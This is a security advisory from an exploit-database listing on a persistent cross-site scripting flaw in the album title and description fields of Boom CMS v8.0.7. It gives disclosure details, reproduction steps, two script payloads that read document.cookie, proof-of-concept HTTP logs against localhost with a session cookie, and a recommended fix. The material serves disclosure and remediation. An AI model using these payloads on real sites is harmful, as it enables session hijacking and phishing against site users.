
10 changes to exploits/shellcodes/ghdb Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege + RCE. RWS WorldServer 11.7.3 - Session Token Enumeration Aures Booking & POS Terminal - Local Privilege Escalation Boom CMS v8.0.7 - Cross Site Scripting PaulPrinting CMS - Multiple Cross Site Web Vulnerabilities pfSense v2.7.0 - OS Command Injection Webile v1.0.1 - Multiple Cross Site Scripting Wifi Soft Unibox Administration 3.0 & 3.1 - SQL Injection RaidenFTPD 2.4.4005 - Buffer Overflow (SEH)
206 lines
No EOL
7.2 KiB
Text
206 lines
No EOL
7.2 KiB
Text
# Exploit Title: Boom CMS v8.0.7 - Cross Site Scripting
|
|
References (Source): https://www.vulnerability-lab.com/get_content.php?id=2274
|
|
Release Date: 2023-07-03
|
|
Vulnerability Laboratory ID (VL-ID): 2274
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
Boom is a fully featured, easy to use CMS. More than 10 years, and many versions later, Boom is an intuitive, WYSIWYG CMS that makes life
|
|
easy for content editors and website managers. Working with BoomCMS is simple. It's easy and quick to learn and start creating content.
|
|
It gives editors control but doesn't require any technical knowledge.
|
|
|
|
(Copy of the Homepage:https://www.boomcms.net/boom-boom )
|
|
|
|
|
|
Abstract Advisory Information:
|
|
==============================
|
|
The vulnerability laboratory core research team discovered a persistent cross site vulnerability in the Boom CMS v8.0.7 web-application.
|
|
|
|
|
|
Affected Product(s):
|
|
====================
|
|
UXB London
|
|
Product: Boom v8.0.7 - Content Management System (Web-Application)
|
|
|
|
|
|
Vulnerability Disclosure Timeline:
|
|
==================================
|
|
2022-07-24: Researcher Notification & Coordination (Security Researcher)
|
|
2022-07-25: Vendor Notification (Security Department)
|
|
2023-**-**: Vendor Response/Feedback (Security Department)
|
|
2023-**-**: Vendor Fix/Patch (Service Developer Team)
|
|
2023-**-**: Security Acknowledgements (Security Department)
|
|
2023-07-03: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Discovery Status:
|
|
=================
|
|
Published
|
|
|
|
|
|
Exploitation Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity Level:
|
|
===============
|
|
Medium
|
|
|
|
|
|
Authentication Type:
|
|
====================
|
|
Restricted Authentication (User Privileges)
|
|
|
|
|
|
User Interaction:
|
|
=================
|
|
Low User Interaction
|
|
|
|
|
|
Disclosure Type:
|
|
================
|
|
Responsible Disclosure
|
|
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
A persistent script code injection web vulnerability has been discovered in the official Boom CMS v8.0.7 web-application.
|
|
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
|
|
browser to web-application requests from the application-side.
|
|
|
|
The vulnerability is located in the input fields of the album title and album description in the asset-manager module.
|
|
Attackers with low privileges are able to add own malformed albums with malicious script code in the title and description.
|
|
After the inject the albums are being displayed in the backend were the execute takes place on preview of the main assets.
|
|
The attack vector of the vulnerability is persistent and the request method to inject is post. The validation tries to parse
|
|
the content by usage of a backslash. Thus does not have any impact to inject own malicious
|
|
java-scripts because of its only performed for double- and single-quotes to prevent sql injections.
|
|
|
|
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent
|
|
external redirects to malicious source and persistent manipulation of affected application modules.
|
|
|
|
Request Method(s):
|
|
[+] POST
|
|
|
|
Vulnerable Module(s):
|
|
[+] assets-manager (album)
|
|
|
|
Vulnerable Function(s):
|
|
[+] add
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] title
|
|
[+] description
|
|
|
|
Affected Module(s):
|
|
[+] Frontend (Albums)
|
|
[+] Backend (Albums Assets)
|
|
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.
|
|
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.
|
|
|
|
|
|
Manual steps to reproduce the vulnerability ...
|
|
1. Login to the application as restricted user
|
|
2. Create a new album
|
|
3. Inject a test script code payload to title and description
|
|
4. Save the request
|
|
5. Preview frontend (albums) and backend (assets-manager & albums listing) to provoke the execution
|
|
6. Successful reproduce of the persistent cross site web vulnerability!
|
|
|
|
|
|
Payload(s):
|
|
><script>alert(document.cookie)</script><div style=1
|
|
<a onmouseover=alert(document.cookie)>test</a>
|
|
|
|
|
|
--- PoC Session Logs (Inject) ---
|
|
https://localhost:8000/boomcms/album/35
|
|
Host: localhost:8000
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
Content-Type: application/json
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 263
|
|
Origin:https://localhost:8000
|
|
Connection: keep-alive
|
|
Referer:https://localhost:8000/boomcms/asset-manager/albums/[evil.source]
|
|
Sec-Fetch-Site: same-origin
|
|
{"asset_count":1,"id":35,"name":""><[INJECTED SCRIPT CODE PAYLOAD 1!]>","description":""><[INJECTED SCRIPT CODE PAYLOAD 2!]>",
|
|
"slug":"a","order":null,"site_id":1,"feature_image_id":401,"created_by":9,"deleted_by"
|
|
:null,"deleted_at":null,"created_at":"2021-xx-xx xx:x:x","updated_at":"2021-xx-xx xx:x:x"}
|
|
-
|
|
PUT: HTTP/1.1 200 OK
|
|
Server: Apache
|
|
Cache-Control: no-cache, private
|
|
Set-Cookie: Max-Age=7200; path=/
|
|
Cookie: laravel_session=eyJpdiI6ImVqSkTEJzQjlRPT0iLCJ2YWx1ZSI6IkxrdUZNWUF
|
|
VV1endrZk1TWkxxdnErTUFDY2pBS0JSYTVFakppRnNub1kwSkF6amQTYiLCJtY
|
|
yOTUyZTk3MjhlNzk1YWUzZWQ5NjNhNmRkZmNlMTk0NzQ5ZmQ2ZDAyZTED;
|
|
Max-Age=7200; path=/; httponly
|
|
Content-Length: 242
|
|
Connection: Keep-Alive
|
|
Content-Type: application/json
|
|
-
|
|
https://localhost:8000/boomcms/asset-manager/albums/[evil.source]
|
|
Host: localhost:8000
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: de,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate, br
|
|
Connection: keep-alive
|
|
Cookie: laravel_session=eyJpdiI6ImVqSkTEJzQjlRPT0iLCJ2YWx1ZSI6IkxrdUZNWUF
|
|
VV1endrZk1TWkxxdnErTUFDY2pBS0JSYTVFakppRnNub1kwSkF6amQTYiLCJtY
|
|
yOTUyZTk3MjhlNzk1YWUzZWQ5NjNhNmRkZmNlMTk0NzQ5ZmQ2ZDAyZTED;
|
|
-
|
|
GET: HTTP/1.1 200 OK
|
|
Server: Apache
|
|
Cache-Control: no-cache, private
|
|
Set-Cookie:
|
|
Vary: Accept-Encoding
|
|
Content-Length: 7866
|
|
Connection: Keep-Alive
|
|
Content-Type: text/html; charset=UTF-8
|
|
-
|
|
|
|
|
|
Vulnerable Source: asset-manager/albums/[ID]
|
|
|
|
<li data-album="36">
|
|
<a href="#albums/20">
|
|
<div>
|
|
<h3>[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 1!]</h3>
|
|
<p class="description">"><[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 2!]></p>
|
|
<p class='count'><span>0</span> assets</p>
|
|
</div>
|
|
</a>
|
|
</li>
|
|
</iframe></p></div></a></li></ul></div></div>
|
|
</div>
|
|
|
|
<div id="b-assets-view-asset-container"></div>
|
|
<div id="b-assets-view-selection-container"></div>
|
|
<div id="b-assets-view-album-container"><div><div id="b-assets-view-album">
|
|
<div class="heading">
|
|
<h1 class="bigger b-editable" contenteditable="true"><[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 1!]></h1>
|
|
<p class="description b-editable" contenteditable="true"><[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 2!]></p>
|
|
</div>
|
|
|
|
|
|
Solution - Fix & Patch:
|
|
=======================
|
|
The vulnerability can be patched by a secure parse and encode of the vulnerable title and description parameters.
|
|
Restrict the input fields and disallow usage of special chars. Sanitize the output listing location to prevent further attacks.
|
|
|
|
|
|
Security Risk:
|
|
==============
|
|
The security risk of the persistent input validation web vulnerability in the application is estimated as medium.
|
|
|
|
|
|
Credits & Authors:
|
|
==================
|
|
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab |